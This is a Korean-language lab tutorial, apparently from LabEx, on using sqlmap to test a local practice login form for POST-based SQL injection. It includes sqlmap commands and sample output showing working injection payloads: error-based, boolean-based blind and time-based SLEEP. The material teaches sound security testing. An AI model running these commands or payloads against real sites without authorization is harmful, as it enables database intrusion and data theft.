sqlmap 으로 POST 요청 스캔 수행하기

Kali LinuxBeginner
지금 연습하기

소개

SQL 인젝션은 애플리케이션이 데이터베이스에 수행하는 쿼리에 공격자가 개입할 수 있도록 하는 치명적인 웹 보안 취약점입니다. 많은 예제가 URL 매개변수 (GET 요청) 의 취약점에 초점을 맞추고 있지만, POST 요청을 통해 데이터를 제출하는 폼 또한 일반적인 공격 대상입니다.

이 실습에서는 강력한 오픈 소스 침투 테스트 도구인 sqlmap을 사용하여 SQL 인젝션 결함을 탐지하고 악용하는 프로세스를 자동화하는 방법을 배우게 됩니다. 특히, 데이터를 제출하기 위해 POST 메서드를 사용하는 웹 폼을 대상으로 하는 데 중점을 둘 것입니다. POST 데이터를 캡처하고 포괄적인 스캔을 수행하기 위해 sqlmap에 제공하는 방법을 배우게 됩니다.

POST 메서드를 사용하는 웹 폼 식별

이 단계에서는 간단한 웹 서버를 시작하고 HTTP POST 메서드를 사용하는 웹 폼을 식별합니다. POST 요청은 리소스를 생성하거나 업데이트하기 위해 서버로 데이터를 보내도록 설계되었으며, 이는 로그인 폼, 댓글 또는 기타 사용자 생성 콘텐츠를 제출하는 일반적인 방법입니다.

먼저 샘플 웹 애플리케이션이 실행 중인지 확인합니다. curl을 사용하여 메인 페이지를 가져올 수 있습니다.

터미널에서 다음 명령을 실행합니다.

curl http://localhost:8000

간단한 로그인 페이지의 HTML 소스 코드가 표시되어야 합니다. 출력에서 <form> 태그를 찾으십시오.

<!DOCTYPE html>
<html>
  <head>
    <title>Login Page</title>
  </head>
  <body>
    <h2>Login Form</h2>
    <form action="login.php" method="POST">
      <label for="username">Username:</label><br />
      <input type="text" id="username" name="username" /><br />
      <label for="password">Password:</label><br />
      <input type="password" id="password" name="password" /><br /><br />
      <input type="submit" value="Login" />
    </form>
  </body>
</html>

<form> 태그 안의 method="POST" 속성을 주목하십시오. 이는 브라우저가 폼 데이터를 POST 요청을 사용하여 login.php 스크립트로 보내도록 지시합니다. 이를 식별하는 것이 sqlmap 스캔을 준비하는 첫 번째 단계입니다. 데스크톱에서 Firefox 브라우저를 열고 http://localhost:8000으로 이동하여 폼을 시각적으로 볼 수도 있습니다.

브라우저 개발자 도구를 사용하여 POST 데이터 문자열 캡처하기

이 단계에서는 POST 요청으로 전송된 데이터 문자열을 캡처하는 방법을 배웁니다. sqlmap은 SQL 인젝션에 대해 테스트할 매개변수를 알기 위해 이 데이터가 필요합니다. 이 정보를 얻는 가장 쉬운 방법은 브라우저에 내장된 개발자 도구를 사용하는 것입니다.

  1. LabEx 환경의 왼쪽 애플리케이션 독에서 Firefox 브라우저를 엽니다.
  2. http://localhost:8000으로 이동합니다.
  3. F12를 누르거나 페이지를 마우스 오른쪽 버튼으로 클릭하고 "Inspect"를 선택하여 개발자 도구를 엽니다.
  4. 개발자 도구 패널에서 Network 탭을 클릭합니다.
  5. 로그인 페이지에서 폼 필드에 더미 데이터를 입력합니다. 예를 들어, 사용자 이름에는 test, 비밀번호에는 test를 사용합니다.
  6. Login 버튼을 클릭합니다.
  7. Network 탭에서 login.php에 대한 새 항목이 표시됩니다. 해당 항목을 클릭합니다.
  8. 새 패널이 열립니다. Request 또는 Payload라는 탭을 찾으십시오. 여기에 서버로 전송된 폼 데이터가 있습니다. 다음과 같이 표시됩니다.
username=test&password=test

이 문자열, username=test&password=testsqlmap에 필요한 정확한 데이터입니다. 매개변수 이름 (username, password) 과 제출한 값을 포함하고 있습니다.

다음 단계를 위해 이 데이터 문자열을 ~/project 디렉터리에 있는 파일로 저장합니다. 이는 sqlmap을 사용하는 데 엄격히 필요하지는 않지만, 발견한 내용을 추적하는 좋은 습관입니다.

echo 'username=test&password=test' > ~/project/post_data.txt

--data 플래그를 사용하여 POST 매개변수 지정하기

이 단계에서는 --data 플래그를 사용하여 기본적인 sqlmap 명령을 구성합니다. 이 플래그는 sqlmap에 POST 요청을 보내고 요청 본문에 포함할 데이터를 알려주는 데 필수적입니다.

sqlmap에서 POST 스캔의 기본 구문은 다음과 같습니다.

sqlmap -u "TARGET_URL" --data="POST_DATA_STRING"

  • -u "TARGET_URL": 폼 데이터를 처리하는 URL 을 지정합니다. 이 경우 http://localhost:8000/login.php입니다.
  • --data="POST_DATA_STRING": 이전 단계에서 캡처한 데이터 문자열을 제공합니다.

sqlmap이 이 정보를 어떻게 처리하는지 확인하기 위해 명령을 실행해 보겠습니다. 이전 단계에서 찾은 데이터 문자열을 사용할 것입니다. 이 명령은 아직 전체 스캔을 수행하지 않으며, sqlmap이 POST 매개변수를 올바르게 식별하는지 확인하는 데 도움이 될 것입니다.

터미널에서 다음 명령을 실행합니다.

sqlmap -u "http://localhost:8000/login.php" --data="username=test&password=test"

sqlmap이 시작되고 초기 정보가 표시됩니다. 요청이 POST 요청임을 올바르게 식별하고 usernamepassword 매개변수를 찾습니다. 그런 다음 해당 매개변수를 테스트할 것인지 묻습니다.

[INFO] POST parameter 'username' is dynamic
[INFO] POST parameter 'password' is dynamic
[WARNING] POST parameter 'password' looks like a password field. Do you want to mask its value in further requests? [Y/n] n
[INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 5 HTTP(s) requests:
---
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (subquery)
    Payload: username=-1695' OR 1 GROUP BY CONCAT(0x71787a7a71,(SELECT (CASE WHEN (1695=1695) THEN 1 ELSE 0 END)),0x7170766b71,FLOOR(RAND(0)*2)) HAVING MIN(0)#&password=test

Parameter: password (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=test&password=test' AND 2195=2195 AND 'zxcv'='zxcv
---
[INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/localhost:8000'

[*] ending @ ...

비밀번호 마스킹에 대한 질문이 나오면 n을 누르면 sqlmap이 계속 진행됩니다. 이 단계에서는 실행되도록 두거나 매개변수를 식별하는 것을 확인한 후 Ctrl+C를 눌러 종료할 수 있습니다. 핵심은 --data 플래그가 어떻게 작동하는지 이해하는 것입니다.

POST 데이터를 사용하여 대상 URL 에 대한 스캔 실행하기

이 단계에서는 대상에 대한 전체 스캔을 실행합니다. 프로세스를 더 원활하고 비대화식으로 만들기 위해 sqlmap 명령에 몇 가지 플래그를 추가합니다.

  • -p "username": 이 플래그는 sqlmap에 테스트 노력을 username 매개변수에만 집중하도록 지시합니다. 특정 매개변수가 취약하다고 의심되는 경우 많은 시간을 절약할 수 있습니다.
  • --batch: 이 플래그는 sqlmap에 일반적으로 묻는 모든 대화형 질문에 대해 기본 답변을 사용하도록 지시하여 프로세스를 자동화합니다. 이는 자동화된 스캔을 실행하는 데 매우 유용합니다.

이제 모든 것을 최종 명령으로 결합해 보겠습니다. login.php URL 을 대상으로 하고, POST 데이터를 제공하고, 테스트할 username 매개변수를 지정하고, 배치 모드로 실행합니다.

터미널에서 다음 명령을 실행합니다.

sqlmap -u "http://localhost:8000/login.php" --data="username=test&password=test" -p "username" --batch

sqlmap은 이제 username 매개변수에 대한 포괄적인 스캔을 시작합니다. 취약한 스크립트가 데이터베이스 지연을 시뮬레이션하기 위해 sleep() 함수를 사용하므로, sqlmap은 시간 기반 블라인드 인젝션 기법을 사용할 가능성이 높습니다. 이 유형의 스캔은 sqlmap이 여러 요청을 보내고 각 요청의 응답 시간을 측정하여 취약점을 확인해야 하므로 몇 분이 걸릴 수 있습니다.

실행 중에 다음과 유사한 출력이 표시됩니다.

...
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
...

스캔이 완료될 때까지 기다립니다. username 매개변수가 취약하다는 것을 확인할 것입니다.

POST 기반 SQL 인젝션 결과 분석하기

이 단계에서는 sqlmap의 출력을 분석하여 발견된 취약점을 이해합니다. 이전 단계의 스캔이 완료되면 sqlmap은 발견 사항에 대한 요약을 제공합니다.

최종 출력은 다음과 유사합니다.

---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test' AND (SELECT 6113 FROM (SELECT(SLEEP(5)))bYjb) AND 'TEST'='TEST&password=test
---
[INFO] the back-end DBMS is 'MySQL >= 5.0.12'
web server operating system: Linux
web application technology: PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/localhost:8000'

이 결과를 자세히 살펴보겠습니다.

  • Parameter: username (POST): POST 요청의 username 매개변수에서 취약점이 발견되었음을 확인합니다.
  • Type: time-based blind: 이것은 SQL 인젝션의 유형입니다. "Blind"는 애플리케이션이 응답에 데이터베이스 오류를 반환하지 않음을 의미합니다. "Time-based"는 sqlmap이 시간 지연을 유발하는 명령 (예: SLEEP(5)) 을 주입하고 서버의 응답 시간을 측정하여 취약점을 확인했음을 의미합니다.
  • Payload: 이것은 sqlmap이 취약점을 확인하기 위해 사용한 실제 악성 입력입니다.

sqlmap은 또한 모든 세션 정보 (로그 및 결과 포함) 를 디렉토리에 저장합니다. 위치는 출력에 언급되어 있으며 일반적으로 ~/.sqlmap/output/입니다. 이 디렉토리를 검사하여 스캔의 자세한 로그를 찾을 수 있습니다.

대상에 대한 결과 디렉토리의 내용을 나열해 보겠습니다.

ls -l ~/.sqlmap/output/localhost:8000

logsession.sqlite와 같은 파일을 볼 수 있습니다. log 파일에는 스캔의 전체 기록이 포함되어 있어 자세한 분석 및 보고에 유용합니다.

total 24
-rw-r--r-- 1 labex labex 15589 Dec  6 15:30 log
-rw-r--r-- 1 labex labex  8192 Dec  6 15:30 session.sqlite
-rw-r--r-- 1 labex labex     0 Dec  6 15:29 target.txt

이제 sqlmap을 사용하여 POST 기반 SQL 인젝션 취약점을 성공적으로 식별하고 확인했습니다.

요약

이 실습에서는 POST 메서드를 사용하는 웹 양식에서 SQL 인젝션 취약점을 테스트하기 위해 sqlmap 을 사용하는 방법을 배웠습니다. POST 양식을 성공적으로 식별하고, 브라우저 개발자 도구를 사용하여 필요한 데이터 문자열을 캡처했으며, sqlmap 에서 --data 플래그를 사용하여 POST 매개변수를 지정했습니다. 마지막으로 자동화를 위해 --batch-p 플래그를 사용하여 스캔을 실행하고 결과를 분석하여 시간 기반 블라인드 SQL 인젝션 취약점을 확인했습니다. 이 과정은 웹 애플리케이션 보안 테스트의 기본적인 기술입니다.